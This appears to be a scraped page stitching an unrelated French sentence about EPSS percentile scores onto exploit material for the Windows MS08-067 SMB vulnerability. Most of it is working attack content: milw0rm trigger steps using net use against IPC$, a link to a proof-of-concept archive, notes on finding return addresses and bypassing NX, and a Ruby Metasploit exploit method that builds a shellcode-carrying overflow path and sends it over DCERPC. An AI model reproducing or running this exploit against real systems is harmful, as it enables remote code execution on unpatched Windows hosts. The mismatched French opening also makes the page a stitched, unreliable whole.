Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

In vstudio command prompt: mk.bat next: attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...) net use \\IPADDRESS\IPC$ /user:user creds die \\IPADDRESS \pipe\srvsvc In some cases, /user:"" "", will suffice (i.e., anonymous connection) You should get EIP -> 00 78 00 78, a stack overflow (like a guard page violation), access violation, etc. However, in some cases, you will get nothing. This is because it depends on the state of the stack prior to the "overflow". You need a slash on the stack prior to the input buffer. So play around a bit, you'll get it working reliably... poc: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6824.zip (2008-ms08-067.zip) # milw0rm.com [2008-10-23]

These addresses are different between operating systems, service packs, and language packs, but the steps below can be used to add new targets. If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and DisableNX elements of the target hash. If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. First obtain the value for the Ret element of the hash with the following command: $ msfpescan -j esi acgenral.dll Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. Next, find the location of the function we use to disable NX. Use the following command: $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll This address should be placed into the DisableNX element of the target hash. The Scratch element of 0x00020408 should work on all versions of Windows The actual function we use to disable NX looks like this: push 4 lea eax, [ebp+arg_0] push eax push 22h push 0FFFFFFFFh mov [ebp+arg_0], 2 call ds:__imp__NtSetInformationProcess@16 *** WINDOWS XP NON-NX TARGETS *** Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short jump, and finally the shellcode. *** WINDOWS 2003 SP2 TARGETS *** There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, both of these are inside NTDLL.DLL and use a return method that is not directly compatible with our call stack. To solve this, Brett Moore figured out a multi-step return call chain that eventually leads to the NX bypass function. *** WINDOWS 2000 TARGETS *** No NX to bypass, just return directly to a "JMP EDX", which takes us to the short jump, and finally the shellcode. *** WINDOWS VISTA TARGETS *** Currently untested, will involve ASLR and NX, should be fun. *** NetprPathCanonicalize IDL *** NET_API_STATUS NetprPathCanonicalize( [in, string, unique] SRVSVC_HANDLE ServerName, [in, string] WCHAR* PathName, [out, size_is(OutbufLen)] unsigned char* Outbuf, [in, range(0,64000)] DWORD OutbufLen, [in, string] WCHAR* Prefix, [in, out] DWORD* PathType, [in] DWORD Flags ); =end def exploit connect() smb_login() # Use a copy of the target mytarget = target if(target['auto']) mytarget = nil print_status("Automatically detecting the target...") fprint = smb_fingerprint() print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS if(fprint['os'] == 'Unknown') raise RuntimeError, "No matching target" end # Windows 2000 is mostly universal if(fprint['os'] == 'Windows 2000') mytarget = self.targets[1] end # Windows XP SP0/SP1 is mostly universal if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") mytarget = self.targets[2] end # Windows 2003 SP0 is mostly universal if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") mytarget = self.targets[5] end # Windows 2003 R2 is treated the same as 2003 if(fprint['os'] == 'Windows 2003 R2') fprint['os'] = 'Windows 2003' end # Service Pack match must be exact if((not mytarget) and fprint['sp'].index('+')) print_error("Could not determine the exact service pack") print_status("Auto-targeting failed, use 'show targets' to manually select one") disconnect return end # Language Pack match must be exact or we default to English if((not mytarget) and fprint['lang'] == 'Unknown') print_status("We could not detect the language pack, defaulting to English") fprint['lang'] = 'English' end # Normalize the service pack string fprint['sp'].gsub!(/Service Pack\s+/, 'SP') if(not mytarget) self.targets.each do |t| if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) mytarget = t break end end end if(not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") end # # Build the malicious path name # padder = [*("A".."Z")] pad = "A" while(pad.length < 7) c = padder[rand(padder.length)] next if pad.index(c) pad += c end prefix = "\\" path = "" server = Rex::Text.rand_text_alpha(rand(8)+1).upcase # # Windows 2000, XP (NX), and 2003 (NO NX) mytargets # if(not mytarget['RetDec']) jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 4,4] = [mytarget.ret].pack("V") jumper[50,8] = make_nops(8) jumper[58,2] = "\xeb\x62" path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 # # Windows 2003 SP2 (NX) mytargets # else jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space jumper[ 8,4] = [mytarget['RetDec']].pack("V") jumper[ 12,4] = [mytarget['RetDec']].pack("V") jumper[ 16,4] = [mytarget['RetDec']].pack("V") jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP jumper[ 24,4] = [mytarget['DisableNX']].pack("V") jumper[ 56,4] = [mytarget['JmpESP']].pack("V") jumper[ 60,4] = [mytarget['JmpESP']].pack("V") jumper[ 64,2] = "\xeb\x02" # our jump jumper[ 68,2] = "\xeb\x62" # original path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [mytarget['RetDec']].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 end handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) dcerpc_bind(handle) stub = NDR.uwstring(server) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(1024)) + NDR.wstring(prefix) + NDR.long(4097) + NDR.long(0) # NOTE: we don't bother waiting for a response here... print_status("Attempting to trigger the vulnerability...") dcerpc.call(0x1f, stub, false) # Cleanup handler disconnect end end
